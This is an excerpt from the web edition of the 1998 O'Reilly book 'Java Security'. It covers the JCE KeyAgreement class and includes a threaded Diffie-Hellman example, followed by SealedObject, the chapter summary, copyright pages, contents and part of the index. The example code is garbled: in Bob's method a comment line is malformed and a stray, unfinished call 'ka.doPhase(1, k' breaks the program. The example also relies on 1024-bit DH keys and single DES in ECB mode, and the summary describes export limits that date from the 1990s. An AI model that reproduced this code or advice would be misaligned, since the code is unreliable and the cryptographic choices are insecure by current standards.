The interface to this class is very simple (much simpler than its use would indicate, as our example will show):

public final void init(Key k)
public final void init(Key k, SecureRandom sr)
public final void init(Key k, AlgorithmParameterSpec aps)
public final void init(Key k, AlgorithmParameterSpec aps, SecureRandom sr)

Initialize the key agreement engine. The parameter specifications (if present) will vary depending upon the underlying algorithm; if the parameters are invalid, of the incorrect class, or not supported, an InvalidAlgorithmParameterException is generated. This method will also perform the first phase of the key agreement protocol.

public final Key doPhase(Key key, boolean final)

Execute the next phase of the key agreement protocol. Key agreement protocols usually require a set of operations to be performed in a particular order. Each operation is represented in this class by a particular phase, which usually requires a key to succeed. If the provided key is not supported by the key agreement protocol, is incorrect for the current phase, or is otherwise invalid, an InvalidKeyException will be thrown.

The number of phases, along with the types of keys they require, vary drastically from key exchange algorithm to algorithm. Your security provider must document the types of keys required for each phase. In addition, you must specify which is the final phase of the protocol.

public final byte[] generateSecret()
public final int generateSecret(byte[] secret, int offset)

Generate the bytes that represent the secret key; these bytes can then be used to create a SecretKey object. The type of that object will vary depending upon the algorithm implemented by this key agreement. The bytes are either returned from this argument or placed into the given array (starting at the given offset). In the latter case, if the array is not large enough to hold all the bytes a ShortBufferException is thrown. If all phases of the key agreement protocol have not been executed, an IllegalStateException is generated.

After this method has been called, the engine is reset and may be used to generate more secret keys (starting with a new call to the init() method).

public final String getAlgorithm()

Return the name of the algorithm implemented by this key agreement object.

public final Provider getProvider()

Return the provider that implemented this key agreement.

Despite its simple interface, using the key agreement engine can be very complex. The SunJCEsecurity provider implements one key agreement algorithm: Diffie-Hellman key agreement. This key agreement is based on the following protocol:

  1. Alice (the first party in the exchange) generates a Diffie-Hellman public key/private key pair.

  2. Alice transmits the public key and the algorithm specification of the key pair to Bob (the second party in the exchange).

  3. Bob uses the algorithm specification to generate his own public and private keys; he sends the public key to Alice.

  4. Alice uses her private key and Bob's public key to create a secret key. In the KeyAgreement class, this requires two phases: one that uses her private key and one that uses her public key.

  5. Bob performs the same operations with his private key and Alice's public key. Due to the properties of a Diffie-Hellman key pair, this generates the same secret key Alice generated.

  6. Bob and Alice convert their secret keys into a DES key.

  7. Alice uses that key to encrypt data that she sends to Bob.

  8. Bob uses that key to decrypt data that he reads.

These last two steps, of course, are symmetric: both Bob and Alice can encrypt as well as decrypt data with the secret key. They can both send and receive data as well.

Nothing in this key agreement protocol prevents someone from impersonating Bob--Alice could exchange keys with me, I could say that I am Bob, and then Alice and I could exchange encrypted data. So even though the transmissions of the public keys do not need to be encrypted, they should be signed for maximum safety.

This algorithm works because of the properties of the Diffie-Hellman public key/private key pair. These keys are not suitable for use in an encryption algorithm; they are used only in a key agreement such as this.

Here's how a key agreement might be implemented:

Class Definition

public class DHAgreement implements Runnable {
    byte bob[], alice[];
    boolean doneAlice = false;
    byte[] ciphertext;

    BigInteger aliceP, aliceG;
    int aliceL;

    public synchronized void run() {
        if (!doneAlice) {
            doneAlice = true;
            doAlice();
        }
        else doBob();
    }

    public synchronized void doAlice() {
        try {
            // Step 1:  Alice generates a key pair
            KeyPairGenerator kpg = KeyPairGenerator.getInstance("DH");
            kpg.initialize(1024);
            KeyPair kp = kpg.generateKeyPair();

            // Step 2:  Alice sends the public key and the
            // 		Diffie-Hellman key parameters to Bob
            Class dhClass = Class.forName(
                                "javax.crypto.spec.DHParameterSpec");
            DHParameterSpec dhSpec = (
                            (DHPublicKey) kp.getPublic()).getParams();
            aliceG = dhSpec.getG();
            aliceP = dhSpec.getP();
            aliceL = dhSpec.getL();
            alice = kp.getPublic().getEncoded();
            notify();

            // Step 4 part 1:  Alice performs the first phase of the
            //		protocol with her private key
            KeyAgreement ka = KeyAgreement.getInstance("DH");
            ka.init(kp.getPrivate());

            // Step 4 part 2:  Alice performs the second phase of the
            //		protocol with Bob's public key
            while (bob == null) {
                wait();
            }
            KeyFactory kf = KeyFactory.getInstance("DH");
            X509EncodedKeySpec x509Spec = new X509EncodedKeySpec(bob);
            PublicKey pk = kf.generatePublic(x509Spec);
            ka.doPhase(pk, true);

            // Step 4 part 3:  Alice can generate the secret key
            byte secret[] = ka.generateSecret();

            // Step 6:  Alice generates a DES key
            SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
            DESKeySpec desSpec = new DESKeySpec(secret);
            SecretKey key = skf.generateSecret(desSpec);

            // Step 7:  Alice encrypts data with the key and sends
            //		the encrypted data to Bob
            Cipher c = Cipher.getInstance("DES/ECB/PKCS5Padding");
            c.init(Cipher.ENCRYPT_MODE, key);
            ciphertext = c.doFinal(
                        "Stand and unfold yourself".getBytes());
            notify();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public synchronized void doBob() {
        try {
            // Step 3:  Bob uses the parameters supplied by Alice
            //		to generate a key pair and sends the public key
            while (alice == null) {
                wait();
            }
            KeyPairGenerator kpg = KeyPairGenerator.getInstance("DH");
            DHParameterSpec dhSpec = new DHParameterSpec(
                                aliceP, aliceG, aliceL);
            kpg.initialize(dhSpec);
            KeyPair kp = kpg.generateKeyPair();
            bob = kp.getPublic().getEncoded();
            notify();

            // Step 5 part 1:  Bob uses his private key to perform the
            //		first phase of the protocol
            KeyAgreement ka = KeyAgreement.getInstance("DH");
            ka.init(kp.getPrivate());

            // Step 5 part 2:  Bob uses Alice's public key to perform
            /		the second phase of the protocol.
            KeyFactory kf = KeyFactory.getInstance("DH");
            X509EncodedKeySpec x509Spec =
                            new X509EncodedKeySpec(alice);
            PublicKey pk = kf.generatePublic(x509Spec);
            ka.doPhase(pk, true);
            ka.doPhase(1, k

            // Step 5 part 3:  Bob generates the secret key
            byte secret[] = ka.generateSecret();

            // Step 6:  Bob generates a DES key
            SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
            DESKeySpec desSpec = new DESKeySpec(secret);
            SecretKey key = skf.generateSecret(desSpec);

            // Step 8:  Bob receives the encrypted text and decrypts it
            Cipher c = Cipher.getInstance("DES/ECB/PKCS5Padding");
            c.init(Cipher.DECRYPT_MODE, key);
            while (ciphertext == null) {
                wait();
            }
            byte plaintext[] = c.doFinal(ciphertext);
            System.out.println("Bob got the string " +
                        new String(plaintext));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) {
        DHAgreement test = new DHAgreement();
        new Thread(test).start();		// Starts Alice
        new Thread(test).start();		// Starts Bob
    }
}

In typical usage, of course, Bob and Alice would be executing code in different classes, probably on different machines. We've shown the code here using two threads in a shared object so that you can run the example more easily (although beware: generating a Diffie-Hellman key is an expensive operation, especially for a size of 1024; a size of 512 will be better for testing). Our second reason for showing the example like this is to make explicit the points at which the protocol must be synchronized: Alice must wait for certain information from Bob, Bob must wait for certain information from Alice, and both must perform the operations in the order specified. Once the secret key has been created, however, they may send and receive encrypted data at will.

Otherwise, despite its complexity, this example merely reuses a lot of the techniques we've been using throughout this book. Keys are generated, they are transmitted in neutral (encoded) format, they are re-formed by their recipient, and b oth sides can continue.

Previous | Home | Next
13.6. Cipher Streams | Book Index | 13.8. Sealed Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sealed Objects (Java Security)

 Java Security Search this book

13.8. Sealed Objects

The final class in the JCE that we'll investigate is the SealedObject class (javax.crypto.SealedObject). This class is very similar to the SignedObject class we examined in Chapter 12, "Digital Signatures", except that the stored, serialized object is encrypted rather than signed:

public class SealedObject

A class that can embed within it a serializable object in an encrypted form.

Constructing a sealed object is achieved as follows:

public SealedObject(Serializable obj, Cipher c)

Construct a sealed object. The sealed object serializes the given object to an embedded byte array, effectively making a copy of the object. It then uses the given cipher to encrypt the embedded byte array. If the object is unable to be serialized, an IOException is thrown; an error in encrypting the byte array results in an IllegalBlockSizeException. If the cipher object has not been initialized, an IllegalStateException is generated.

To retrieve the object, we use this method:

public Object getObject(Cipher c)

Decrypt the embedded byte array and deserialize it, returning the reconstituted object. The cipher must have been initialized with the same mode and key as the cipher that was passed to the constructor when the object was first created, otherwise a BadPaddingMethodException or an IllegalBlockSizeException is thrown. If the cipher was not initialized, an IllegalStateException is generated; failure to find the serialized class results in a ClassNotFoundException, and generic deserialization errors results in an IOException.

These are the only two operations that may be performed upon a sealed object. Just keep in mind that the embedded object in this class is a serialized instance of the original object: the technique the object uses to perform serialization may affect the resulting object that is retrieved from the sealed object. This class can help us prevent someone from tampering with our serialized object, but the reconstituted object may be lacking transient fields or other information (depending, of course, on the implementation of the object itself).

Previous | Home | Next
13.7. Symmetric Key Agreement | Book Index | 13.9. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

13.9. Summary

In this chapter, we explored the final engine of the Java security package--the encryption engine. The encryption engine is part of the Java Cryptography Extension (JCE). Due to export limitations, the JCE from Sun is available only within the United States and Canada. Third-party implementations of the JCE are available elsewhere. No matter where you get it from, the JCE must be obtained separately from the rest of the Java platform.

The encryption engine performs encryption of arbitrary chunks or streams of data according to various algorithms. Though support for RSA and other popular algorithms is possible within the provider architecture, the SunJCE security provider supplies only DES encryption. DES encryption has a different requirement for keys than the other cryptographic engines we've examined--DES encryption depends on both parties in the cryptographic exchange using the same key. Hence the JCE also provides a new key type known as a secret key (or symmetric key), as well as an engine to generate these keys.

Secret keys pose an interesting distribution problem--they cannot be distributed electronically unless the secret key itself is encrypted. This problem is often solved by relying on public key encryption to deliver the encrypted key, after which the symmetric key can be used to create the type of cipher that we've discussed in this chapter. The JCE also includes support for key agreement protocols to accomplish key sharing, one of which (the Diffie-Hellman key agreement protocol) is implemented in the SunJCE security provider.

The encryption engine finally provides what many people envision as the ultimate goal in security: the ability to send arbitrary encrypted data streams in a conversational manner across the network. Although its use is limited by governmental restrictions, it provides the last piece of the Java security puzzle that we outlined at the beginning of this book.

Previous | Home | Next
13.8. Sealed Objects | Book Index | A. Security Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Java Security)

 Java Security Search this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

Hanna Dyer designed the cover of Java™ Security, based on a series design by Edie Freedman. The image of a bird's nest was photographed by Kevin Thomas and manipulated in Adobe Photoshop by Michael Snow. The cover layout was produced with Quark XPress 3.3 using the Bodoni Black font from URW Software and Bodoni BT Bold Italic from Bitstream. The inside layout was designed by Nancy Priest. Text was prepared by Mike Sierra in FrameMaker 5.0. The heading font is Bodoni BT; the text font is New Baskerville. The illustrations that appear in the book were created in Macromedia Freehand 7.0 by Robert Romano.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Security--Copyright Statement (Java Security)

 Java Security Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Java™ Security
by Scott Oaks
ISBN 1-56592-403-7E

Print book copyright © 1998 O'Reilly & Associates, Inc. All rights reserved.
Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Gabriel® Original Tinkertoy® Construction Set image in association with Java™ Distributed Computing is a trademark of O'Reilly & Associates, Inc.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Previous | Home | Next
Table of Contents | Book Index | Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Security (Java Security)

by Scott Oaks
ISBN 1-56592-403-7E
First edition, published May 1998.
(See the catalog page for this book.)

Search the text of Java™ Security.

Table of Contents

Copyright
Preface
Chapter 1: Java Application Security
Chapter 2: Java Language Security
Chapter 3: Java Class Loaders
Chapter 4: The Security Manager Class
Chapter 5: The Access Controller
Chapter 6: Implementing Security Policies
Chapter 7: Introduction to Cryptography
Chapter 8: Security Providers
Chapter 9: Message Digests
Chapter 10: Keys and Certificates
Chapter 11: Key Management
Chapter 12: Digital Signatures
Chapter 13: Encryption
Appendix A: Security Tools
Appendix B: Identity-Based Key Management
Appendix C: Security Resources
Appendix D: Quick Reference
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Security--Index

Java™ Security Search this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
D.8. Miscellaneous Packages | index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A

access controller: 1.3.1. Anatomy of a Java Application
5. The Access Controller
5.2. Permissions
(see also permissions)
AccessController class: 5.5. The AccessController Class
class loaders and: 3.1.1. Class Loaders and Security Enforcement
CLASSPATH variable and: 1.4.2. Built-in Java Application Security
code sources: 5.1. The CodeSource Class
guarded objects: 5.6. Guarded Objects
Policy class: 5.3. The Policy Class
protection domains: 5.4. Protection Domains
security manager and: 5. The Access Controller
6.3.6. Establishing a Security Policy in 1.2
access levels: 2.1. Java Language Security Constructs
object serialization and: 2.1.1. Object Serialization and Memory Integrity
AccessControlContext class: 6.3.6. Establishing a Security Policy in 1.2
D.1. Package java.security
AccessController: D.1. Package java.security
accessible flag, permission to set: 5.2.2. Permissions of the Java API
D.8. Miscellaneous Packages
accessing
files, security managers and: 4.3.2. Methods Relating to File Access
memory (see casting illegally)
network, security managers and: 4.3.3. Methods Relating to Network Access
actions of permissions: 5.2.1. The Permission Class
5.2.1. The Permission Class
(see also specific permission type)
add( ), PermissionCollection class: 5.2.5. Permission Collections
addCertificate( ), Identity class: B.1.1.1. Using the identity class
B.1.1.3. The Identity class and the security manager
addIdentity( ), IdentityScope class: B.2.1. Using the IdentityScope Class
B.2.3. IdentityScope and the Security Manager
addProvider( ), Security class: 8.3. The Security Class
algorithm classes: 8.1.1. Components of the Architecture
AlgorithmParameterGenerator class: D.1. Package java.security
AlgorithmParameterGeneratorSpi class: D.1. Package java.security
AlgorithmParameters class: D.1. Package java.security
AlgorithmParameterSpec interface: 10.3.3.2. The AlgorithmParameterSpec interface
D.4. Package java.security.spec
AlgorithmParametersSpi class: D.1. Package java.security
algorithms, cipher: 13.5.2. Cipher Algorithms
-alias option (keytool): A.1.1. Global Options to keytool
aliases( ), KeyStore class: 11.2. The KeyStore Class
aliases for keystore entries: 11.2. The KeyStore Class
A.1. The keytool
<<ALL FILES>> token: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
allowSystemProperty property: 5.3.1. The Default Policy
AllPermission class: 5.2.2. Permissions of the Java API
D.1. Package java.security
applets
applet class loaders: 3.2.2. The Applet Class Loader
applications vs.: 1.3. Applications, Applets, and Programs
file access and: 4.3.2. Methods Relating to File Access
network access and: 4.3.3. Methods Relating to Network Access
network services and: 4.3.3. Methods Relating to Network Access
security managers and: 4.1. Overview of the Security Manager
4.1. Overview of the Security Manager
4.3.1. Setting a Security Manager
applications
applets vs.: 1.3. Applications, Applets, and Programs
built-in security: 1.4.2. Built-in Java Application Security
elements of: 1.3.1. Anatomy of a Java Application
running: 1.4. Running a Java Application
JavaRunner for (example): 1.4. Running a Java Application
Launcher for: 1.4.2. Built-in Java Application Security
security managers and: 4.1. Overview of the Security Manager
4.1. Overview of the Security Manager
(see also security managers)
array bounds checking: 2.1. Java Language Security Constructs
2.2.3. Runtime Enforcement
associations, provider: 8.2.2. Implementing the Provider Class
authentication: 1.3.1. Anatomy of a Java Application
7.1. The Need for Authentication
Authenticator class, interacting with: 5.2.2. Permissions of the Java API
author authentication: 7.1.1. Author Authentication
AWTPermission class: 5.2.2. Permissions of the Java API
6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
permissions for: 5.2.2. Permissions of the Java API

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B

basic permissions: 5.2.4. The BasicPermission Class
D.1. Package java.security
BasicPermission class: 5.2.4. The BasicPermission Class
D.1. Package java.security
block files: 12.2.1. Reading Signed JAR Files
bugs, security: C.1. Security Bugs
built-in application security: 1.4.2. Built-in Java Application Security
bytecode verifier: 1.3.1. Anatomy of a Java Application
2.2.2. The Bytecode Verifier
cancelling verification: 2.2.2.3. Controlling bytecode verification
delayed verification: 2.2.2.2. Delayed bytecode verification
how it works: 2.2.2.1. Inside the bytecode verifier
other programming languages and: 2.2.2. The Bytecode Verifier
runtime verification: 2.2.3. Runtime Enforcement

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C

caching loaded classes: 3.4.1.1. Protected methods in the ClassLoader class
cancelling bytecode verification: 2.2.2.3. Controlling bytecode verification
CAs (certificate authorities): 10.4. Certificates
A.1.3. Adding a Key Entry
revoking certificates: 10.4.5. Revoked Certificates
casting illegally: 2.1. Java Language Security Constructs
2.1. Java Language Security Constructs
Java compiler and: 2.2.1. Compiler Enforcement
virtual machine and: 2.1. Java Language Security Constructs
2.2.3. Runtime Enforcement
catching security exceptions: 4.1.1. Security Managers and the Java API
CBC encryption mode: 13.5. Encrypting Data
certificate entries: 11.2. The KeyStore Class
A.1. The keytool
adding to database: A.1.2. Adding a Certificate Entry
deleting: A.1.5. Deleting Keystore Entries
examining: A.1.6. Examining Keystore Data
managing with policytool: A.3.3. Managing Certificate Entries
modifying: A.1.4. Modifying Keystore Entries
passwords for: A.1.1. Global Options to keytool
A.1.4. Modifying Keystore Entries
certificates: 10. Keys and Certificates
10.4. Certificates
CAs (certificate authorities): 10.4. Certificates
10.4.5. Revoked Certificates
A.1.3. Adding a Key Entry
Certificate class: 10.4. Certificates
D.2. Package java.security.cert
Certificate interface: 10.4. Certificates
CSRs (certificate signing requests): A.1.3. Adding a Key Entry
digital signatures and: 12.1.3. Signing and Certificates
distinguished names (DNs): 11.1.1. Principals
importing/exporting: A.1.6. Examining Keystore Data
java.security.cert quick reference: D.2. Package java.security.cert
printing: A.1.6. Examining Keystore Data
revoked: 10.4.5. Revoked Certificates
D.2. Package java.security.cert
D.2. Package java.security.cert
serialization and: 10.5. Keys, Certificates, and Object Serialization
TBS certificates: 10.4.4. Advanced X509Certificate Methods
10.4.5. Revoked Certificates
when necessary: 10.4. Certificates
X509 certificates
serialization and: 12.1.3. Signing and Certificates
X509Certificate class: 10.4.3. The X509Certificate Class
D.2. Package java.security.cert
X509CRL class: 10.4.5. Revoked Certificates
D.2. Package java.security.cert
X509EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class
D.4. Package java.security.spec
X509Extension class: D.2. Package java.security.cert
certificates( ), Identity class: B.1.1.1. Using the identity class
CFB encryption mode: 13.5. Encrypting Data
check, determining if in progress: 6.1.2. Protected Instance Variables in the Security Manager
checkAccept( ), SecurityManager class: 4.3.3. Methods Relating to Network Access
6.3.2. Implementing Network Access
checkAccess( ), RMISecurityManager class: 6.3.7.1. The RMI security manager
checkAccess( ), SecurityManager class: 4.3.5. Methods Protecting Program Threads
6.1.1. The Class Loader Depth
default security policy and: 6.3.6. Establishing a Security Policy in 1.2
implementing thread security: 6.3.4. Implementing Thread Security
checkAwtEventQueueAccess( ): 4.3.6. Methods Protecting System Resources
4.3.6. Methods Protecting System Resources
checkClassDepth( ): 6.3.1. Utility Classes
security manager methods with: 6.3.7.2. A complete 1.1 security manager
checkClassLoader( ): 6.3.1. Utility Classes
security manager methods with: 6.3.7.2. A complete 1.1 security manager
checkConnect( ): 4.3.3. Methods Relating to Network Access
connections to source host only: 6.3.2. Implementing Network Access
customizing network security model: 6.3.2. Implementing Network Access
inCheck variable and: 6.1.2. Protected Instance Variables in the Security Manager
RMISecurityManager class: 6.3.7.1. The RMI security manager
checkCreateClassLoader( ): 4.3.4. Methods Protecting the Java Virtual Machine
6.1.1. The Class Loader Depth
checkDelete( ): 4.3.2. Methods Relating to File Access
6.1.1. The Class Loader Depth
checkExec( ): 4.3.4. Methods Protecting the Java Virtual Machine
6.1.1. The Class Loader Depth
default security policy and: 6.3.6. Establishing a Security Policy in 1.2
checkExit( ): 4.3.4. Methods Protecting the Java Virtual Machine
6.1.1. The Class Loader Depth
checkGuard( ): 5.2.3. Using the Permission Class
5.6. Guarded Objects
checkLink( ): 4.3.4. Methods Protecting the Java Virtual Machine
6.1.1. The Class Loader Depth
checkListen( ): 4.3.3. Methods Relating to Network Access
checkMemberAccess( ): 4.3.7. Methods Protecting Security Aspects
6.1.1. The Class Loader Depth
default security policy and: 6.3.6. Establishing a Security Policy in 1.2
RMISecurityManager class: 6.3.7.1. The RMI security manager
checkMulticast( ), SecurityManager class: 4.3.3. Methods Relating to Network Access
checkPackageAccess( ): 3.4.3. Implementing Security Policies in the Class Loader
4.3.7. Methods Protecting Security Aspects
6.2.1. The Class Loader and the Security Manager
6.3.5. Implementing Package Access
RMISecurityManager class: 6.3.7.1. The RMI security manager
checkPackageDefinition( ): 4.3.7. Methods Protecting Security Aspects
6.2.1. The Class Loader and the Security Manager
RMISecurityManager class: 6.3.7.1. The RMI security manager
checkPermission( )
AccessController class: 5.5. The AccessController Class
SecurityManager class: 4.3.4. Methods Protecting the Java Virtual Machine
checkPrintJobAccess( ), SecurityManager class: 4.3.6. Methods Protecting System Resources
checkPropertiesAccess( ): 4.3.6. Methods Protecting System Resources
checkPropertiesAccess( ), SecurityManager class: 4.3.6. Methods Protecting System Resources
checkProperty( ): 5.3. The Policy Class
checkPropertyAccess( ): 4.3.6. Methods Protecting System Resources
6.1.1. The Class Loader Depth
RMISecurityManager class: 6.3.7.1. The RMI security manager
checkPropertyAccess( ), SecurityManager class: 4.3.6. Methods Protecting System Resources
checkRead( ): 4.3.2. Methods Relating to File Access
6.1.1. The Class Loader Depth
RMISecurityManager class: 6.3.7.1. The RMI security manager
security policy for: 6.3.7.3. Implementing the file access methods
checkSecurityAccess( ): 4.3.7. Methods Protecting Security Aspects
8.2.1. Using the Provider Class
8.3.1. The Security Class and the Security Manager
B.1.1.3. The Identity class and the security manager
B.1.2.3. Signers and the security manager
SecurityManager class: B.2.3. IdentityScope and the Security Manager
checkSetFactory( )
RMISecurityManager class: 6.3.7.1. The RMI security manager
SecurityManager class: 4.3.3. Methods Relating to Network Access
4.3.3. Methods Relating to Network Access
checkSystemClipboardAccess( ): 4.3.6. Methods Protecting System Resources
checkTopLevelWindow( ): 4.3.6. Methods Protecting System Resources
4.3.6. Methods Protecting System Resources
6.1.1. The Class Loader Depth
6.3.7.5. Implementing miscellaneous methods
default security policy and: 6.3.6. Establishing a Security Policy in 1.2
RMISecurityManager class: 6.3.7.1. The RMI security manager
checkWrite( ): 4.3.2. Methods Relating to File Access
6.1.1. The Class Loader Depth
RMISecurityManager class: 6.3.7.1. The RMI security manager
security policy for: 6.3.7.3. Implementing the file access methods
cipher algorithms: 13.5.2. Cipher Algorithms
cipher block chaining encryption mode: 13.5. Encrypting Data
Cipher class: 13.2. The Sun Security Provider in the JCE
13.5. Encrypting Data
D.5. Package javax.crypto
implementing: 13.5.3. Implementing the Cipher Class
D.5. Package javax.crypto
NullCipher class: 13.5.1. Using the Cipher Class
D.5. Package javax.crypto
cipher-feedback encryption mode: 13.5. Encrypting Data
cipher streams: 13.6. Cipher Streams
D.5. Package javax.crypto
CipherInputStream class: 13.6.2. The CipherInputStream Class
D.5. Package javax.crypto
CipherOutputStream class: 13.6.1. The CipherOutputStream Class
D.5. Package javax.crypto
CipherSpi class: 13.5.3. Implementing the Cipher Class
D.5. Package javax.crypto
class loaders: 1.3.1. Anatomy of a Java Application
3. Java Class Loaders
asking information of/for security managers: 6.2. Security Managers and the Class Loader
caching loaded classes: 3.4.1.1. Protected methods in the ClassLoader class
choosing: 3.2.6. Choosing the Right Class Loader
ClassLoader class: D.8. Miscellaneous Packages
CLASSPATH variable and: 1.4.2. Built-in Java Application Security
connections to source host only: 6.3.2. Implementing Network Access
delegation model for: 3.6.1. Delegation
depth of: 6.1.1. The Class Loader Depth
extensions to: 3.5. Extensions to the Class Loader
how classes are loaded: 3.2. Anatomy of a Class Loader
3.3. Loading Classes
implementing: 3.4. Implementing a Class Loader
implementing security policies: 3.4.3. Implementing Security Policies in the Class Loader
for JAR files: 3.5.2. A JAR File Class Loader
loading resources with: 3.6.2. Loading Resources
of most recently called class: 6.1. Protected Methods of the Security Manager
namespaces and: 3.1.2. Class Loaders and Namespaces
network permissions in: 6.3.3. Network Permissions in the Class Loader
protection domains and: 5.4. Protection Domains
protocols and: 3.5. Extensions to the Class Loader
RMIClassLoader class: 3.2.3. The RMI Class Loader
3.2.6. Choosing the Right Class Loader
D.8. Miscellaneous Packages
security enforcement: 3.1.1. Class Loaders and Security Enforcement
security manager and: 3.1.1. Class Loaders and Security Enforcement
3.2. Anatomy of a Class Loader
6.1. Protected Methods of the Security Manager
types of: 3.2.1. The Internal Class Loader
URLClassLoader class: D.8. Miscellaneous Packages
ClassCastException: 2.1. Java Language Security Constructs
classDepth( ): 6.1. Protected Methods of the Security Manager
classes
access to members of: 4.3.7. Methods Protecting Security Aspects
for algorithms: 8.1.1. Components of the Architecture
authenticating (see authentication)
class loader depth: 6.1.1. The Class Loader Depth
defining: 3.4.3. Implementing Security Policies in the Class Loader
6.2.1. The Class Loader and the Security Manager
different class loaders and: 3.1.2. Class Loaders and Namespaces
engine classes: 8.1.1. Components of the Architecture
architecture of: 8.4. The Architecture of Engine Classes
for message digests, creating: 9.3. Implementing a MessageDigest Class
involved in calling security manager: 6.1. Protected Methods of the Security Manager
loading: 3.2. Anatomy of a Class Loader
3.3. Loading Classes
3.3. Loading Classes
6.2.1. The Class Loader and the Security Manager
caching loaded classes: 3.4.1.1. Protected methods in the ClassLoader class
delegation model for: 3.6.1. Delegation
from JAR files: 3.5.2. A JAR File Class Loader
from multiple sites: 3.5.1. Loading from Multiple Sites
from URLs: 3.2.5. The URL Class Loader
not verifying: 2.2.2.3. Controlling bytecode verification
protection domains and: 5.4. Protection Domains
resolving: 3.2. Anatomy of a Class Loader
3.4.1.1. Protected methods in the ClassLoader class
of the same package: 3.1.2. Class Loaders and Namespaces
sealed classes: 13.8. Sealed Objects
D.5. Package javax.crypto
SecureClassLoader class: 3.2.4. The Secure Class Loader
D.1. Package java.security
SPI classes: 8.4. The Architecture of Engine Classes
trusted vs. untrusted: 4.2. Trusted and Untrusted Classes
6.1. Protected Methods of the Security Manager
classes, signed: 12.2. Signed Classes
ClassLoader class: 3.4.1. Implementing the ClassLoader Class
caching loaded classes: 3.4.1.1. Protected methods in the ClassLoader class
delegation model for: 3.6.1. Delegation
classLoaderDepth( ): 6.1.1. The Class Loader Depth
CLASSPATH environment variable: 1.4.2. Built-in Java Application Security
4.2. Trusted and Untrusted Classes
client sockets: 4.3.3. Methods Relating to Network Access
clipboard, access to: 4.3.6. Methods Protecting System Resources
CN (common name): 11.1.1. Principals
code sources: 5.1. The CodeSource Class
permissions for (see security policy)
protection domains: 5.4. Protection Domains
5.4. Protection Domains
CODEBASE attribute: 3.1.2. Class Loaders and Namespaces
3.5.1. Loading from Multiple Sites
codeBase entry (policy file): 5.3.1. The Default Policy
codebases
managing with policytool: A.3.1. Managing Policy Codebases
permissions for: A.3.2. Managing Permissions
CodeSource( ): 5.1. The CodeSource Class
CodeSource class: 5.1. The CodeSource Class
D.1. Package java.security
collections of permissions: 5.2.5. Permission Collections
com.sun.crypto.provider.SunJCE class: 13.2. The Sun Security Provider in the JCE
cipher algorithms: 13.5.2. Cipher Algorithms
encryption modes: 13.5. Encrypting Data
key agreement algorithm: 13.7. Symmetric Key Agreement
padding schemes: 13.5. Encrypting Data
commercial software: 7.1. The Need for Authentication
C.2. Third-Party Security Providers
common name (CN): 11.1.1. Principals
compiler
enforcing Java language rules: 2.2.1. Compiler Enforcement
writing illegal code: 2.2.2. The Bytecode Verifier
constants (final variables): 2.1. Java Language Security Constructs
2.2.2. The Bytecode Verifier
containsAlias( ), KeyStore class: 11.2. The KeyStore Class
CRLs (certificate revocation lists): 10.4.5. Revoked Certificates
cryptographic keys: 7.3.2. Cryptographic Keys
public/private key pairs: 7.3.2. Cryptographic Keys
secret keys: 7.3.2. Cryptographic Keys
cryptography
authentication, role of: 7.2. The Role of Authentication
authentication vs. encryption: 7.1.2. Data Authentication
certificates (see certificates)
encryption export restrictions: 13.1. Export Restrictions
encryption strength: 10.2.1. Using the KeyPairGenerator Class
11.3. A Key Management Example
engines for: 7.3. Cryptographic Engines
JCE (see JCE)
keys for (see keys, cryptographic)
reasons for: 7.1. The Need for Authentication
-csr option (keystore): A.1.3. Adding a Key Entry
CSRs (certificate signing requests): A.1.3. Adding a Key Entry
currentClassLoader( ): 6.1. Protected Methods of the Security Manager
currentLoadedClass( ): 6.1. Protected Methods of the Security Manager
custom class loaders: 3.2.6. Choosing the Right Class Loader
customizing
network security model: 6.3.2. Implementing Network Access
security managers: 6. Implementing Security Policies

